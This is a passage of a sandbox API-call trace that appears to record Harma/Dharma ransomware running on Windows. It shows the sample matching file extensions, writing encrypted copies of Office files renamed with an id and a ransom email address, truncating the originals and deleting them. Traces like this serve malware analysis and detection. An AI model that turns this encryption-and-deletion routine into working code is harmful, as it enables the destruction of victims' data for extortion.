office\\office14\\convert\\1033\\transmrr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.865] lstrlenW (lpString=".doc") returned 4 [0169.865] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString=".docx") returned 5 [0169.865] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.865] lstrlenW (lpString=".pdf") returned 4 [0169.865] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString=".xls") returned 4 [0169.865] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString=".xlsx") returned 5 [0169.865] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.865] lstrlenW (lpString=".ppt") returned 4 [0169.865] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.865] lstrlenW (lpString=".zip") returned 4 [0169.865] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString=".rar") returned 4 [0169.865] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.865] lstrlenW (lpString=".bz2") returned 4 [0169.865] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.865] lstrlenW (lpString=".7z") returned 3 [0169.865] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.865] lstrlenW (lpString=".dbf") returned 4 [0169.865] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.866] lstrlenW (lpString=".1cd") returned 4 [0169.866] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.866] lstrlenW (lpString=".jpg") returned 4 [0169.866] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.866] lstrlenW (lpString=".doc") returned 4 [0169.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString=".docx") returned 5 [0169.866] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.866] lstrlenW (lpString=".pdf") returned 4 [0169.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString=".xls") returned 4 [0169.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString=".xlsx") returned 5 [0169.866] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.866] lstrlenW (lpString=".ppt") returned 4 [0169.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.866] lstrlenW (lpString=".zip") returned 4 [0169.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString=".rar") returned 4 [0169.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.866] lstrlenW (lpString=".bz2") returned 4 [0169.867] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.867] lstrlenW (lpString=".7z") returned 3 [0169.867] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.867] lstrlenW (lpString=".dbf") returned 4 [0169.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.867] lstrlenW (lpString=".1cd") returned 4 [0169.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0169.867] lstrlenW (lpString=".jpg") returned 4 [0169.867] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.867] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.867] lstrlenW (lpString="ACT3.SAM") returned 8 [0169.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.868] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=90488) returned 1 [0169.868] CloseHandle (hObject=0x338) returned 1 [0169.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 0x20 [0169.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.869] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.869] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.870] GetLastError () returned 0x0 [0169.870] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x16178, lpOverlapped=0x0) returned 1 [0169.987] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x16180, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x16180, lpOverlapped=0x0) returned 1 [0169.989] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0169.989] SetEndOfFile (hFile=0x2e8) returned 1 [0169.989] CloseHandle (hObject=0x2e8) returned 1 [0169.989] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.989] SetEndOfFile (hFile=0x338) returned 1 [0169.993] CloseHandle (hObject=0x338) returned 1 [0169.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 1 [0169.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.995] lstrlenW (lpString=".doc") returned 4 [0169.995] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.995] lstrlenW (lpString=".docx") returned 5 [0169.995] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0169.995] lstrlenW (lpString=".pdf") returned 4 [0169.995] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.995] lstrlenW (lpString=".xls") returned 4 [0169.995] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.995] lstrlenW (lpString=".xlsx") returned 5 [0169.995] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0169.995] lstrlenW (lpString=".ppt") returned 4 [0169.995] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.995] lstrlenW (lpString=".zip") returned 4 [0169.995] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.995] lstrlenW (lpString=".rar") returned 4 [0169.995] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.995] lstrlenW (lpString=".bz2") returned 4 [0169.995] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.995] lstrlenW (lpString=".7z") returned 3 [0169.996] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.996] lstrlenW (lpString=".dbf") returned 4 [0169.996] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.996] lstrlenW (lpString=".1cd") returned 4 [0169.996] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.996] lstrlenW (lpString=".jpg") returned 4 [0169.996] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.996] lstrlenW (lpString=".doc") returned 4 [0169.996] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.996] lstrlenW (lpString=".docx") returned 5 [0169.996] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0169.997] lstrlenW (lpString=".pdf") returned 4 [0169.997] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.997] lstrlenW (lpString=".xls") returned 4 [0169.997] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.997] lstrlenW (lpString=".xlsx") returned 5 [0169.997] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0169.997] lstrlenW (lpString=".ppt") returned 4 [0169.997] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.997] lstrlenW (lpString=".zip") returned 4 [0169.997] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.997] lstrlenW (lpString=".rar") returned 4 [0169.997] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.997] lstrlenW (lpString=".bz2") returned 4 [0169.997] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.997] lstrlenW (lpString=".7z") returned 3 [0169.997] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.997] lstrlenW (lpString=".dbf") returned 4 [0169.997] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.997] lstrlenW (lpString=".1cd") returned 4 [0169.998] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0169.998] lstrlenW (lpString=".jpg") returned 4 [0169.998] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.998] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.998] lstrlenW (lpString="ODBC.SAM") returned 8 [0169.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.012] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=63864) returned 1 [0170.012] CloseHandle (hObject=0x338) returned 1 [0170.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20 [0170.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.013] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.013] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.014] GetLastError () returned 0x0 [0170.014] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xf978, lpOverlapped=0x0) returned 1 [0170.017] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf980, lpOverlapped=0x0) returned 1 [0170.019] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0170.019] SetEndOfFile (hFile=0x2e8) returned 1 [0170.019] CloseHandle (hObject=0x2e8) returned 1 [0170.019] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.019] SetEndOfFile (hFile=0x338) returned 1 [0170.022] CloseHandle (hObject=0x338) returned 1 [0170.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.024] lstrlenW (lpString=".doc") returned 4 [0170.024] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString=".docx") returned 5 [0170.024] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0170.024] lstrlenW (lpString=".pdf") returned 4 [0170.024] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString=".xls") returned 4 [0170.024] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.024] lstrlenW (lpString=".xlsx") returned 5 [0170.024] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0170.024] lstrlenW (lpString=".ppt") returned 4 [0170.024] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.024] lstrlenW (lpString=".zip") returned 4 [0170.024] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.024] lstrlenW (lpString=".rar") returned 4 [0170.024] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString=".bz2") returned 4 [0170.024] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString=".7z") returned 3 [0170.024] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.024] lstrlenW (lpString=".dbf") returned 4 [0170.024] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.025] lstrlenW (lpString=".1cd") returned 4 [0170.025] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.025] lstrlenW (lpString=".jpg") returned 4 [0170.025] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.025] lstrlenW (lpString=".doc") returned 4 [0170.025] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString=".docx") returned 5 [0170.025] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0170.025] lstrlenW (lpString=".pdf") returned 4 [0170.025] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString=".xls") returned 4 [0170.025] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.025] lstrlenW (lpString=".xlsx") returned 5 [0170.025] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0170.025] lstrlenW (lpString=".ppt") returned 4 [0170.025] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.025] lstrlenW (lpString=".zip") returned 4 [0170.025] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.025] lstrlenW (lpString=".rar") returned 4 [0170.025] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString=".bz2") returned 4 [0170.025] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.025] lstrlenW (lpString=".7z") returned 3 [0170.025] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.026] lstrlenW (lpString=".dbf") returned 4 [0170.026] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.026] lstrlenW (lpString=".1cd") returned 4 [0170.026] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0170.026] lstrlenW (lpString=".jpg") returned 4 [0170.026] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.026] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0170.026] lstrlenW (lpString="OL.SAM") returned 6 [0170.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.028] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=29056) returned 1 [0170.028] CloseHandle (hObject=0x338) returned 1 [0170.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20 [0170.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.028] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.028] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.029] GetLastError () returned 0x0 [0170.029] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x7180, lpOverlapped=0x0) returned 1 [0170.121] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x7190, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x7190, lpOverlapped=0x0) returned 1 [0170.123] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0170.123] SetEndOfFile (hFile=0x2e8) returned 1 [0170.124] CloseHandle (hObject=0x2e8) returned 1 [0170.124] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.124] SetEndOfFile (hFile=0x338) returned 1 [0170.127] CloseHandle (hObject=0x338) returned 1 [0170.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 1 [0170.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.129] lstrlenW (lpString=".doc") returned 4 [0170.129] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.129] lstrlenW (lpString=".docx") returned 5 [0170.129] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0170.129] lstrlenW (lpString=".pdf") returned 4 [0170.129] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.129] lstrlenW (lpString=".xls") returned 4 [0170.130] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.130] lstrlenW (lpString=".xlsx") returned 5 [0170.130] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0170.130] lstrlenW (lpString=".ppt") returned 4 